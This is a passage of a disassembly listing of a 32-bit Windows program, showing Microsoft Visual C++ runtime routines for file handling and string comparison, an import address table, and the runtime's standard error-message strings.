eax, 0FFFFFFFFh jz short loc_40C1FF cmp eax, 0FFFFFFFEh jz short loc_40C1FF push eax call esi ; CloseHandle loc_40C1FF: ; CODE XREF: sub_40C1D4+21j ; sub_40C1D4+26j pop esi retn sub_40C1D4 endp ; =============== S U B R O U T I N E ======================================= sub_40C201 proc near ; CODE XREF: sub_40C273+5Ap arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] push edi xor edi, edi or ebx, 0FFFFFFFFh cmp esi, edi jnz short loc_40C22D call sub_403F8F push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, ebx jmp short loc_40C26F ; --------------------------------------------------------------------------- loc_40C22D: ; CODE XREF: sub_40C201+Ej test byte ptr [esi+0Ch], 83h jz short loc_40C26A push esi call sub_40BDFC push esi mov ebx, eax call sub_40C592 push esi call sub_40A6C9 push eax call sub_40C4C5 add esp, 10h test eax, eax jge short loc_40C259 or ebx, 0FFFFFFFFh jmp short loc_40C26A ; --------------------------------------------------------------------------- loc_40C259: ; CODE XREF: sub_40C201+51j mov eax, [esi+1Ch] cmp eax, edi jz short loc_40C26A push eax call sub_40405A pop ecx mov [esi+1Ch], edi loc_40C26A: ; CODE XREF: sub_40C201+30j ; sub_40C201+56j ... mov [esi+0Ch], edi mov eax, ebx loc_40C26F: ; CODE XREF: sub_40C201+2Aj pop edi pop esi pop ebx retn sub_40C201 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C273 proc near ; CODE XREF: sub_40BD5D+43p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_40E7E8 call __SEH_prolog4 or [ebp+var_1C], 0FFFFFFFFh xor eax, eax mov esi, [ebp+arg_0] xor edi, edi cmp esi, edi setnz al cmp eax, edi jnz short loc_40C2B0 call sub_403F8F mov dword ptr [eax], 16h push edi push edi push edi push edi push edi call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40C2BC ; --------------------------------------------------------------------------- loc_40C2B0: ; CODE XREF: sub_40C273+1Ej test byte ptr [esi+0Ch], 40h jz short loc_40C2C2 mov [esi+0Ch], edi loc_40C2B9: ; CODE XREF: sub_40C273+6Fj mov eax, [ebp+var_1C] loc_40C2BC: ; CODE XREF: sub_40C273+3Bj call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40C2C2: ; CODE XREF: sub_40C273+41j push esi call sub_40A5FF pop ecx mov [ebp+ms_exc.disabled], edi push esi call sub_40C201 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40C2E7 jmp short loc_40C2B9 sub_40C273 endp ; =============== S U B R O U T I N E ======================================= sub_40C2E4 proc near ; DATA XREF: seg001:0040E800o mov esi, [ebp+8] sub_40C2E4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C2E7 proc near ; CODE XREF: sub_40C273+6Ap push esi call sub_40A669 pop ecx retn sub_40C2E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2EF proc near ; CODE XREF: sub_40BE5E+31p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_40E808 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_40C316 call sub_403F8F mov dword ptr [eax], 9 loc_40C30E: ; CODE XREF: sub_40C2EF+4Dj or eax, 0FFFFFFFFh jmp loc_40C3C0 ; --------------------------------------------------------------------------- loc_40C316: ; CODE XREF: sub_40C2EF+12j xor ebx, ebx cmp eax, ebx jl short loc_40C324 cmp eax, dword_413A68 jb short loc_40C33E loc_40C324: ; CODE XREF: sub_40C2EF+2Bj ; sub_40C2EF+6Dj call sub_403F8F mov dword ptr [eax], 9 push ebx push ebx push ebx push ebx push ebx call sub_404E8B add esp, 14h jmp short loc_40C30E ; --------------------------------------------------------------------------- loc_40C33E: ; CODE XREF: sub_40C2EF+33j mov ecx, eax sar ecx, 5 lea edi, ds:413A80h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 38h mov ecx, [edi] movzx ecx, byte ptr [esi+ecx+4] and ecx, 1 jz short loc_40C324 push eax call sub_40BAAF pop ecx mov [ebp+ms_exc.disabled], ebx mov eax, [edi] test byte ptr [esi+eax+4], 1 jz short loc_40C3A2 push [ebp+arg_0] call sub_40BA3E pop ecx push eax call dword_40D078 ; FlushFileBuffers test eax, eax jnz short loc_40C390 call dword_40D050 ; RtlGetLastWin32Error mov [ebp+var_1C], eax jmp short loc_40C393 ; --------------------------------------------------------------------------- loc_40C390: ; CODE XREF: sub_40C2EF+94j mov [ebp+var_1C], ebx loc_40C393: ; CODE XREF: sub_40C2EF+9Fj cmp [ebp+var_1C], ebx jz short loc_40C3B1 call sub_403FA2 mov ecx, [ebp+var_1C] mov [eax], ecx loc_40C3A2: ; CODE XREF: sub_40C2EF+80j call sub_403F8F mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_40C3B1: ; CODE XREF: sub_40C2EF+A7j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40C3C6 mov eax, [ebp+var_1C] loc_40C3C0: ; CODE XREF: sub_40C2EF+22j call __SEH_epilog4 retn sub_40C2EF endp ; =============== S U B R O U T I N E ======================================= sub_40C3C6 proc near ; CODE XREF: sub_40C2EF+C9p ; DATA XREF: seg001:0040E820o push dword ptr [ebp+8] call sub_40BB4F pop ecx retn sub_40C3C6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+10h] or ecx, ecx jz short loc_40C42A mov esi, [ebp+8] mov edi, [ebp+0Ch] mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_40C3EC: ; CODE XREF: seg001:0040C419j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_40C41B or al, al jz short loc_40C41B add esi, 1 add edi, 1 cmp ah, bh jb short loc_40C408 cmp ah, bl ja short loc_40C408 add ah, dh loc_40C408: ; CODE XREF: seg001:0040C400j ; seg001:0040C404j cmp al, bh jb short loc_40C412 cmp al, bl ja short loc_40C412 add al, dh loc_40C412: ; CODE XREF: seg001:0040C40Aj ; seg001:0040C40Ej cmp ah, al jnz short loc_40C421 sub ecx, 1 jnz short loc_40C3EC loc_40C41B: ; CODE XREF: seg001:0040C3F2j ; seg001:0040C3F6j xor ecx, ecx cmp ah, al jz short loc_40C42A loc_40C421: ; CODE XREF: seg001:0040C414j mov ecx, 0FFFFFFFFh jb short loc_40C42A neg ecx loc_40C42A: ; CODE XREF: seg001:0040C3DBj ; seg001:0040C41Fj ... mov eax, ecx pop ebx pop esi pop edi leave retn ; =============== S U B R O U T I N E ======================================= sub_40C431 proc near ; CODE XREF: sub_40C4C5+94p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_40BA3E cmp eax, 0FFFFFFFFh pop ecx jz short loc_40C490 cmp esi, 1 mov eax, dword_413A80 jnz short loc_40C453 test byte ptr [eax+74h], 1 jnz short loc_40C45E loc_40C453: ; CODE XREF: sub_40C431+1Aj cmp esi, 2 jnz short loc_40C474 test byte ptr [eax+3Ch], 1 jz short loc_40C474 loc_40C45E: ; CODE XREF: sub_40C431+20j push 2 call sub_40BA3E push 1 mov edi, eax call sub_40BA3E cmp eax, edi pop ecx pop ecx jz short loc_40C490 loc_40C474: ; CODE XREF: sub_40C431+25j ; sub_40C431+2Bj push esi call sub_40BA3E pop ecx push eax call dword_40D0D0 ; CloseHandle test eax, eax jnz short loc_40C490 call dword_40D050 ; RtlGetLastWin32Error mov edi, eax jmp short loc_40C492 ; --------------------------------------------------------------------------- loc_40C490: ; CODE XREF: sub_40C431+10j ; sub_40C431+41j ... xor edi, edi loc_40C492: ; CODE XREF: sub_40C431+5Dj push esi call sub_40B9BD mov eax, esi and esi, 1Fh imul esi, 38h sar eax, 5 test edi, edi mov eax, dword_413A80[eax*4] pop ecx mov byte ptr [eax+esi+4], 0 jz short loc_40C4C0 push edi call sub_403FB5 pop ecx or eax, 0FFFFFFFFh jmp short loc_40C4C2 ; --------------------------------------------------------------------------- loc_40C4C0: ; CODE XREF: sub_40C431+81j xor eax, eax loc_40C4C2: ; CODE XREF: sub_40C431+8Dj pop edi pop esi retn sub_40C431 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C4C5 proc near ; CODE XREF: sub_40C201+47p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_40E828 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_40C4F4 call sub_403FA2 and dword ptr [eax], 0 call sub_403F8F mov dword ptr [eax], 9 loc_40C4EC: ; CODE XREF: sub_40C4C5+5Cj or eax, 0FFFFFFFFh jmp loc_40C582 ; --------------------------------------------------------------------------- loc_40C4F4: ; CODE XREF: sub_40C4C5+12j xor edi, edi cmp eax, edi jl short loc_40C502 cmp eax, dword_413A68 jb short loc_40C523 loc_40C502: ; CODE XREF: sub_40C4C5+33j ; sub_40C4C5+7Cj call sub_403FA2 mov [eax], edi call sub_403F8F mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_404E8B add esp, 14h jmp short loc_40C4EC ; --------------------------------------------------------------------------- loc_40C523: ; CODE XREF: sub_40C4C5+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:413A80h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 38h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_40C502 push eax call sub_40BAAF pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_40C564 push [ebp+arg_0] call sub_40C431 pop ecx mov [ebp+var_1C], eax jmp short loc_40C573 ; --------------------------------------------------------------------------- loc_40C564: ; CODE XREF: sub_40C4C5+8Fj call sub_403F8F mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_40C573: ; CODE XREF: sub_40C4C5+9Dj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40C588 mov eax, [ebp+var_1C] loc_40C582: ; CODE XREF: sub_40C4C5+2Aj call __SEH_epilog4 retn sub_40C4C5 endp ; =============== S U B R O U T I N E ======================================= sub_40C588 proc near ; CODE XREF: sub_40C4C5+B5p ; DATA XREF: seg001:0040E840o push dword ptr [ebp+8] call sub_40BB4F pop ecx retn sub_40C588 endp ; =============== S U B R O U T I N E ======================================= sub_40C592 proc near ; CODE XREF: sub_40C201+3Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_40C5BC test al, 8 jz short loc_40C5BC push dword ptr [esi+8] call sub_40405A and dword ptr [esi+0Ch], 0FFFFFBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_40C5BC: ; CODE XREF: sub_40C592+Aj ; sub_40C592+Ej pop esi retn sub_40C592 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5BE proc near ; CODE XREF: sub_407F5A+10p ; seg001:0040AC27p jmp dword_40D17C sub_40C5BE endp ; --------------------------------------------------------------------------- dd 28Fh dup(0) dword_40D000 dd 77DE138Bh ; DATA XREF: seg001:0040380Dr ; seg001:0040E854o dword_40D004 dd 77DE7E48h ; DATA XREF: seg001:004036C3r ; seg001:00403813r dword_40D008 dd 77E2BF4Bh ; DATA XREF: sub_403540+6Cr dword_40D00C dd 77E2BE75h ; DATA XREF: sub_403540+78r dword_40D010 dd 77DE8075h ; DATA XREF: sub_403450+52r ; sub_403540+D7r dword_40D014 dd 77DD23D7h ; DATA XREF: seg001:004033FEr dword_40D018 dd 77DD5C55h ; DATA XREF: seg001:0040340Er dword_40D01C dd 77DDA20Bh ; DATA XREF: sub_4032F0+Br ; sub_403450+Br ... dword_40D020 dd 77DDAB2Fh ; DATA XREF: sub_4032F0+11r ; sub_403450+11r ... dword_40D024 dd 77DE801Bh ; DATA XREF: sub_4032F0+29r ; sub_403450+26r ... dword_40D028 dd 77E2BC20h ; DATA XREF: sub_4032F0+4Br ; sub_403450+47r ... dword_40D02C dd 77DE1291h ; DATA XREF: sub_4032F0+56r ; seg001:00403524r dword_40D030 dd 77E2C1B3h ; DATA XREF: sub_4032F0+5Dr dword_40D034 dd 77DE09ECh ; DATA XREF: sub_4032F0+7Br dword_40D038 dd 77DD22EAh ; DATA XREF: sub_402E60+29r ; seg001:004033E0r dword_40D03C dd 77DD59F0h ; DATA XREF: sub_402E60+97r dword_40D040 dd 77DD189Ah ; DATA XREF: sub_402E60+A1r ; seg001:00403426r dword_40D044 dd 77DE1EBDh ; DATA XREF: sub_4038C0+F5r dd 7FFFFFFFh dword_40D04C dd 77E78EAAh ; DATA XREF: sub_403150+FCr ; seg001:off_40E844o dword_40D050 dd 77F5157Dh ; DATA XREF: sub_403150+CBr ; seg001:004037D3r ... dword_40D054 dd 77E74CABh ; DATA XREF: sub_403150+6Dr dword_40D058 dd 77E75E67h ; DATA XREF: sub_403150+5Er ; sub_403150+ECr dword_40D05C dd 77E75D9Eh ; DATA XREF: sub_403150+48r dword_40D060 dd 77E705B0h ; DATA XREF: seg001:0040329Er ; sub_4038C0+3Er dword_40D064 dd 77E79A45h ; DATA XREF: sub_4032F0+91r dword_40D068 dd 77E79881h ; DATA XREF: sub_4032F0+6Ar dword_40D06C dd 77E73BEFh ; DATA XREF: sub_403540+BCr dword_40D070 dd 77E7C2C4h ; DATA XREF: seg001:004037C9r ; seg001:00403875r dword_40D074 dd 77E78C17h ; DATA XREF: sub_4038C0+16r dword_40D078 dd 77E73FF9h ; DATA XREF: sub_40C2EF+8Cr dword_40D07C dd 77E704DCh ; DATA XREF: sub_403150+103r dword_40D080 dd 77E76052h ; DATA XREF: sub_40BB71+45r dword_40D084 dd 77E795BFh ; DATA XREF: sub_40BB71+78r dword_40D088 dd 77E99078h ; DATA XREF: sub_40BB71+9Br dword_40D08C dd 77E7FF2Eh ; DATA XREF: sub_40B9BD:loc_40BA15r dword_40D090 dd 77E7C866h ; DATA XREF: sub_40B130+2Dr ; sub_40B130+11Cr dword_40D094 dd 77E641EBh ; DATA XREF: sub_40B130+191r dword_40D098 dd 77E781F9h ; DATA XREF: sub_40AD4B+30r ; sub_40AD4B+144r ... dword_40D09C dd 77E77405h ; DATA XREF: sub_40AD4B+294r ; sub_40AD4B+365r dword_40D0A0 dd 77E7513Ch ; DATA XREF: sub_40BFBC+22r dword_40D0A4 dd 77EBB1E7h ; DATA XREF: sub_4039FAr dword_40D0A8 dd 77EBA595h ; DATA XREF: sub_4039F4r dword_40D0AC dd 77E706B7h ; DATA XREF: sub_403040+58r dword_40D0B0 dd 77E616B4h ; DATA XREF: sub_403040+BCr ; sub_404D8F+E0r ... dword_40D0B4 dd 77E79D5Bh ; DATA XREF: sub_403040+C9r dword_40D0B8 dd 77EBA6E9h ; DATA XREF: sub_4039EEr dword_40D0BC dd 77E73628h ; DATA XREF: sub_403040+EFr ; sub_403150+C1r ... dword_40D0C0 dd 77E705C5h ; DATA XREF: sub_402F20+53r dword_40D0C4 dd 77E6808Fh ; DATA XREF: sub_402F20+5Fr dword_40D0C8 dd 77E6BD13h ; DATA XREF: sub_402F20+74r dword_40D0CC dd 77E61BB8h ; DATA XREF: sub_402F20+DAr dword_40D0D0 dd 77E77963h ; DATA XREF: sub_402F20+E8r ; sub_403040+32r ... dword_40D0D4 dd 77E75CB5h ; DATA XREF: sub_402F20+FAr ; sub_404279+Er dword_40D0D8 dd 77E80656h ; DATA XREF: sub_402040+6Cr ; sub_409287+41r dword_40D0DC dd 77E7AC37h ; DATA XREF: sub_402040+E0r dword_40D0E0 dd 77E7A099h ; DATA XREF: seg001:00401F94r ; sub_402E60+41r ... dword_40D0E4 dd 77E684C6h ; DATA XREF: seg001:00402026r dword_40D0E8 dd 77E7A837h ; DATA XREF: sub_40C1B5+13r dword_40D0EC dd 77E61BE6h ; DATA XREF: seg001:00401693r ; sub_401E40+17r ... dword_40D0F0 dd 77E77CCEh ; DATA XREF: sub_40AD4B:loc_40ADF8r ; sub_40B130:loc_40B1B3r ... dword_40D0F4 dd 77F522F2h ; DATA XREF: sub_40A965+82r dword_40D0F8 dd 77F516F8h ; DATA XREF: sub_403B17+Fr ; seg001:00404BCDr ... dword_40D0FC dd 77F51597h ; DATA XREF: sub_40405A+68r ; seg001:00404BF9r ... dword_40D100 dd 77E7A5FDh ; DATA XREF: sub_404253+15r ; sub_406255+54r ... dword_40D104 dd 77E79F93h ; DATA XREF: sub_404253+5r ; sub_4061E9+28r ... dword_40D108 dd 77E7C938h ; DATA XREF: seg001:loc_404CA8r dword_40D10C dd 77E7C657h ; DATA XREF: seg001:00404BE9r dword_40D110 dd 77E77CB7h ; DATA XREF: seg001:00404BC4r dword_40D114 dd 77E6177Ah ; DATA XREF: seg001:00404BAFr ; sub_409047+15r dword_40D118 dd 77E79C90h ; DATA XREF: sub_404D8F+D9r ; sub_4060E5+F5r dword_40D11C dd 77EB9A84h ; DATA XREF: sub_404D8F+BEr ; sub_4060E5+D9r ... dword_40D120 dd 77E7C9E7h ; DATA XREF: sub_404D8F+B4r ; sub_4060E5+CEr ... dword_40D124 dd 77E72E92h ; DATA XREF: sub_404D8F+AAr ; sub_4060E5+B9r dword_40D128 dd 77F53275h ; DATA XREF: sub_404FF4+1r ; sub_40BD5D+62r dword_40D12C dd 77F7E300h ; DATA XREF: sub_405049+Dr ; sub_40A669+2Fr ... dword_40D130 dd 77F7E21Fh ; DATA XREF: sub_405121+28r ; sub_40A5FF+34r ... dword_40D134 dd 77E79E34h ; DATA XREF: sub_4051C5+22Fr dword_40D138 dd 77E7980Ah ; DATA XREF: sub_4054D9+77r ; sub_405589+52r dword_40D13C dd 77F5722Fh ; DATA XREF: sub_4054D9+27r ; sub_40B7A2+134r ... dword_40D140 dd 77E76E0Bh ; DATA XREF: sub_405D08+47r dword_40D144 dd 77E7C726h ; DATA XREF: sub_405D08+11r dword_40D148 dd 77E79D8Ch ; DATA XREF: sub_405D62+194r ; sub_409DE4+212r ... dword_40D14C dd 77E79C3Dh ; DATA XREF: sub_405D62+169r ; sub_409047+1B5r dword_40D150 dd 77E78B61h ; DATA XREF: sub_406255+7r ; sub_4062CC+7r ... dword_40D154 dd 77E7C5B4h ; DATA XREF: sub_40633Ar ; sub_406621:loc_4066C0r dword_40D158 dd 77E79B39h ; DATA XREF: sub_406343+28r ; sub_406621+58r dword_40D15C dd 77E72B29h ; DATA XREF: sub_406375+2Br ; sub_406621+85r dword_40D160 dd 77E777EFh ; DATA XREF: sub_4063B2+77r ; sub_408199+84r ... dword_40D164 dd 77F51587h ; DATA XREF: sub_406471+6Cr ; sub_407B1C+ABr dword_40D168 dd 77E77CC4h ; DATA XREF: sub_406471+54r ; sub_406621+169r ... dword_40D16C dd 77E778C5h ; DATA XREF: sub_406500+90r ; sub_408199+59r ... dword_40D170 dd 77E6167Bh ; DATA XREF: sub_4067A5+9r ; sub_409287+35r dword_40D174 dd 77E805D8h ; DATA XREF: sub_409765+2Dr dword_40D178 dd 77E79908h ; DATA XREF: seg001:00407B10r dword_40D17C dd 77F6183Eh ; DATA XREF: sub_40C5BEr dword_40D180 dd 77E7849Fh ; DATA XREF: sub_40800F+24r ; sub_4082B7+84r ... dword_40D184 dd 77E7A13Fh ; DATA XREF: sub_40823D+4Ar dword_40D188 dd 77E6C703h ; DATA XREF: sub_40823D+27r dword_40D18C dd 77E75243h ; DATA XREF: sub_4082B7+71r dword_40D190 dd 77E9C5B1h ; DATA XREF: sub_408F12+10Fr ; sub_408F12+126r dword_40D194 dd 77E67702h ; DATA XREF: sub_408F12:loc_408FF0r dword_40D198 dd 77E7C9E1h ; DATA XREF: sub_408F12+CCr dword_40D19C dd 77E79924h ; DATA XREF: sub_408F12:loc_408F8Cr ; sub_409DE4+1EFr ... dword_40D1A0 dd 77E77EE1h ; DATA XREF: sub_408F12+Br dword_40D1A4 dd 77E7C931h ; DATA XREF: sub_409047+21Fr dword_40D1A8 dd 77E78406h ; DATA XREF: sub_409047+12Br ; sub_409047+1C7r dword_40D1AC dd 77E802FCh ; DATA XREF: sub_409287+5Dr dword_40D1B0 dd 77E7751Ah ; DATA XREF: sub_409287+51r dword_40D1B4 dd 77E78C81h ; DATA XREF: sub_409C48+40r dword_40D1B8 dd 77EC80CCh ; DATA XREF: sub_409DE4:loc_409F1Dr dword_40D1BC dd 77E79540h ; DATA XREF: sub_409DE4+11Dr dd 7FFFFFFFh dword_40D1C4 dd 76BF1D54h ; DATA XREF: sub_403A72r ; seg001:0040E85Co dd 0FFFFFFFFh dword_40D1CC dd 71AB41DAh ; DATA XREF: sub_403A6Cr ; seg001:0040E84Co dword_40D1D0 dd 71AB1444h ; DATA XREF: sub_403A66r dword_40D1D4 dd 71AB1ED3h ; DATA XREF: sub_403A60r dword_40D1D8 dd 71AB1A6Dh ; DATA XREF: sub_403A5Ar dword_40D1DC dd 71AB5690h ; DATA XREF: sub_403A54r dword_40D1E0 dd 71AB1AF4h ; DATA XREF: sub_403A4Er dword_40D1E4 dd 71AB868Dh ; DATA XREF: sub_403A48r dword_40D1E8 dd 71AB5DE2h ; DATA XREF: sub_403A42r dword_40D1EC dd 71AB155Ah ; DATA XREF: sub_403A36r dword_40D1F0 dd 71AB3E5Dh ; DATA XREF: sub_403A30r dword_40D1F4 dd 71AB1740h ; DATA XREF: sub_403A2Ar dword_40D1F8 dd 71AB1746h ; DATA XREF: sub_403A24r dword_40D1FC dd 71AB3F8Dh ; DATA XREF: sub_403A1Er dword_40D200 dd 71AB3ECEh ; DATA XREF: sub_403A18r dword_40D204 dd 71AB1890h ; DATA XREF: sub_403A12r dword_40D208 dd 71AB1B7Bh ; DATA XREF: sub_403A0Cr dword_40D20C dd 71AB12F8h ; DATA XREF: sub_403A06r dword_40D210 dd 71AB2BBFh ; DATA XREF: sub_403A00r dword_40D214 dd 71AB3C22h ; DATA XREF: sub_403A3Cr dd 7FFFFFFFh dword_40D21C dd 0 ; DATA XREF: sub_40434B+49o dword_40D220 dd 0 ; DATA XREF: sub_40434B+50o dword_40D224 dd 0 ; DATA XREF: sub_40434B+2Do dd offset sub_4060D1 dd offset sub_407512 dd offset sub_40862A dd offset sub_409B3C dd offset sub_40A52E dd offset sub_408B7B dword_40D240 dd 0 ; DATA XREF: sub_40434B+28o dword_40D244 dd 0 ; DATA XREF: sub_4043DD+87o dd offset sub_40C1D4 dd offset sub_40A5DF dword_40D250 dd 0 ; DATA XREF: sub_4043DD:loc_40445Fo dword_40D254 dd 0 ; DATA XREF: sub_4043DD+97o dword_40D258 dd 2 dup(0) ; DATA XREF: sub_4043DD:loc_40446Fo aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_404253+Fo align 10h aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_404253o aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 10h aTlossError db 'TLOSS error',0Dh,0Ah,0 align 10h aSingError db 'SING error',0Dh,0Ah,0 align 10h aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 10h aR6034AnApplica db 'R6034',0Dh,0Ah db 'An application has made an attempt to load the C runtime library ' db 'incorrectly.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 10h aR6033AttemptTo db 'R6033',0Dh,0Ah db '- Attempt to use MSIL code from this assembly during native code ' db 'initialization',0Ah db 'This indicates a bug in your application. It is most likely the r' db 'esult of calling an MSIL-compiled (/clr) function from a native c' db 'onstructor or from DllMain.',0Dh,0Ah,0 align 4 aR6032NotEnough db 'R6032',0Dh,0Ah db '- not enough space for locale information',0Dh,0Ah,0 align 10h aR6031AttemptTo db 'R6031',0Dh,0Ah db '- Attempt to initialize the CRT more than once.',0Ah db 'This indicates a bug in your application.',0Dh,0Ah,0 align 4 aR6030CrtNotIni db 'R6030',0Dh,0Ah db '- CRT not initialized',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg001:off_41070Co db '- floating point support not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_405D62+157o align 10h asc_40D800 db 0Ah ; DATA XREF: sub_405D62:loc_405E72o db 0Ah,0 align 4 a___ db '...',0 ; DATA XREF: sub_405D62+E8o aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_405D62+A3o align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_405D62+5Bo db 0Ah db 'Program: ',0 align 4 off_40D83C dd offset dword_4118A0 ; DATA XREF: sub_4060E5+D4o dd offset dword_4118F8 dword_40D844 dd 78696D2Eh, 747263h ; DATA XREF: sub_4061E9+42o aEncodepointer db 'EncodePointer',0 ; DATA XREF: sub_406255+4Eo ; sub_4063B2+37o align 4 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_406255:loc_406289o ; sub_4062CC:loc_406300o ... align 4 aDecodepointer db 'DecodePointer',0 ; DATA XREF: sub_4062CC+4Eo ; sub_4063B2+4Do align 4 aFlsfree db 'FlsFree',0 ; DATA XREF: sub_406621+44o aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: sub_406621+37o aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: sub_406621+2Ao dword_40D89C dd 41736C46h ; DATA XREF: sub_406621+22o byte_40D8A0 db 6Ch ; DATA XREF: sub_406AC5+177r db 6Ch, 6Fh, 63h align 8 aNull: ; DATA XREF: seg001:off_4107CCo unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: seg001:off_4107C8o align 10h byte_40D8C0 db 6 ; DATA XREF: sub_406AC5:loc_406C4Er db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38202800h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_407B1C+53o align 4 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_407B1C+44o align 8 dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h dd 7C7B7A79h db 7Dh, 7Eh, 7Fh byte_40D9D7 db 0 ; DATA XREF: sub_408B89+1Bo aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_409765+C2o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_409765+AAo align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_409765+6Eo align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_409765+59o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_409765+43o aUser32_dll db 'USER32.DLL',0 ; DATA XREF: sub_409765+28o align 4 dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h dd 30370007h, 88505030h, 20000000h, 80888028h, 80h aHHhhXppwpp db '`h`hhh',8,8,7,'xppwpp',8,8,0 dw 800h dd 7000800h, 8 dword_40DAA4 dd 41h dup(0) ; DATA XREF: sub_40AD4B+25o ; sub_40B130+27o asc_40DBA8: ; DATA XREF: seg001:00410E78o ; seg001:00411180o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_40DDA8 dd 200000h, 4 dup(200020h), 280068h, 